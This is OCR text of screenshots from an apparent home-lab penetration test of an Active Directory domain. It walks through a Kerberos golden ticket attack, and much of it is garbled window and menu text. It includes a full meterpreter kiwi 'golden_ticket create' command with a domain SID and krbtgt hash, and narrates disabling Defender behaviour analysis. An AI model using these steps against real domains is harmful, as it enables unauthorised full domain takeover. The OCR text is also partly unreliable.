File Actions Edit View Help
root@adiabkali: home/pentest *  root@adlabkal: fusr/lib/python3/dist-packages/cme/datajcme_powershell_scripts x
@ ADLab-DC Bsf iary sessio

B ADLabws 10 A

@ AdLabws10b

@ ADLabws 10Adminws
~ BINTERNET

@ AdLab_Externalw10

Lab-Kalix64

~ @omz
@ ADLabAIS
~ @ Templates
iws2019
B windows 10x64

To return to your computer, move the mouse pointer outside or press Ctr-Alt

now we can proceed with the golden ticket attack, so we need the domain SID that we already got
from bloodhound

Mware Workstation v

File Edit View VM Tabs Help W @ @

Library ° 0 AdLab-Kalixes @ @ o @ o @& o & o @& o @& sO @ o
.

+ My Computer 2 BloodHound
~ BAdLab
8 ADLab-Firewall = ADLABLOCAL
~ @internal Network
@ ADLab-DC Node Info
@ ADLabws 10
@ adLabws10b
8 ADLabWs 10AdminWws
~ @INTERNET
@ AdLab_Externalw10

ADLAB.LOCAL

~ @ Templates
Bws2019
windows 10x64

To return to your computer, move the mouse pointer outside or press CtrhAlt

the Krbtgt hash which we got from crackmapexec
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Activities (8 VMware Workstation v Map 21 19:34

AdLab-Kalix64 - VMware Workstation

File Edit View VM Tabs Help -] o8 B u =-N -
@ Library © « @adabkalxes @ @B AoLboc @ @ o @& 0 @A © @ o @& o @& o
Q T EEE =R I:l BloodHound K abkali: usr/lib/... B Thunar 0134PM O

@ 'Q=YC°’“P“‘°’ root@adlabal: fuse/ib/python3/dist-packages/cme/datalcme _powershel_scripts

~ @AdLab
& ADLab-Firewall

+ B internal Network root@adlabkali: /home/pentest x  root@adlabkali: fusr/lib/python3/dist-packages/cme/datajcme_powershell_scripts *  root@adlabkali: fhome/pentest/Desktop/ps_scripts * root@adlabkali: /home/pentest *
£ ADLab-DC
i ADLabWs 10
@ AdLabws10b
{5 ADLabWs10AdminWws

~ BDINTERNET

File Actions Edit View Help

AdLab_Externalw10

Lab-Kalix64
~ @omz
@ ADLab-1Is
~ @Templates
@ws2019
@ windows 10x64

To return to your computer, move the mouse pointer outside or press Ctrl-Alt. 00AABED

and we can use the Golder_ticket create command from kiwi module to save the ticket

meterpreter > golden_ticket create -d adlab.local -u adlabhacker -s S-1-5-21-3604738955-
2021856590-3999767221 -k af12d1518f8187ba8eccalba5beee0a -t /home/pentest/AdlabTicket.tck
-g 501,502,513,512,520,518,519

[+] Golden Kerberos ticket written to /home/pentest/AdlabTicket.tck

Map 21 19:40

AdLab-Kalix64 - VMware Workstation

File Edit View VM Tabs Help W ¢ oo B L. ) 1S

g Library © . @adubkilixes @ @ o @ o ® o & o & o ® o @ o
Q -
BloodHound h

@ ~ My computer root @edlablak /omeipentest
'.g:zn_ﬁmmu File Actions Edit View Help
< @tirsal NSk root@adlabkali: fhome/pentest *  root@adlabkall: fusr/lib/python3/dist-packages/cme]datajcme._powershell_scripts *  root@adlabkali: /nome/pentest/Desktop/ps_scripts *  root@adlabkali: home/pentest *
8 ADLab-DC
B ADLabws 10
@ AdLabws10b
1 ADLabWs 10AdminWs

~ @) INTERNET

@ ADLabIS
~ @ Templates
Bws2019
Biwindows 10x64

To return to your computer, move the mouse pointer outside or press Ctrl-Alt HAHABE0

now we can delete the test.exe file , pushed on the dc and we can restore the Microsoft defender
behavior analysis
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now we can use the ticket and in fact we do own the domain .

In a new session we use the ticket to prove it.

Activities (3 VMware Workstation v Map 21 19:53

$* AdLab-Kalix64 - VMware Workstation
File Edit View VM Tabs Help W s oo b o8
D Library © . @adubkilies @ @ o @ o & o & o & o & o & o
Q - o
. Bl 2 2
@ + My computer
~ BAdLab
W yas File Actions Edit Vie
8 ADLab-Firewall
~ Binternal Network
é @ AbLab-DC
B ADLabWs 10
@ AdLabws10b
L 0 ADLabWs 10AdminWws
~ BBINTERNET

@ AdLab_Externalw10

l : @ AdLab-Kalix64 *

~ @omz
2 @ ADLab-IS
& ~ @Templates
Siws2019

Bwindows 10x64

B o rturn to your computer, move the mouse pointer outside or press Ctrl-Alt Aa86ED
We see that when trying to access access WADLAB-DC\c$ on the domain controller without using
the ticket , we receive an access denied error, so we proceed with purging the current sessions

tickets and load the golden ticket we did create before and we try to access \ADLAB-DC\c$ again
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File Edit View VM Tabs Help W 8 o L. )

Library ° @ AdLab-Kalixes @ @ o @ o @ o & o & o & o @ o
Q = . = B p
~ My Computer
~ @AdLab
@ ADLab-Firewall

tivit
(S )
~ Binternal Network aded x86 Kiwi on an x64 architecture

% @ ADLab-DC )

o
A

?

g

File Actions Edit View Help

@ ADLabWs 10
@ AdLabws10b
@ ADLabws 10Adminws
~ BINTERNET
& AdLab_Externalw10
| Gadiabkaines il
~ @omz
& ADLab-IS
~ @ Templates
iws2019
B windows 10x64

To return to your computer, move the mouse pointer outside or press Ctrl-Alt aAa6EH

And as we can see, now we have domain admin rights.
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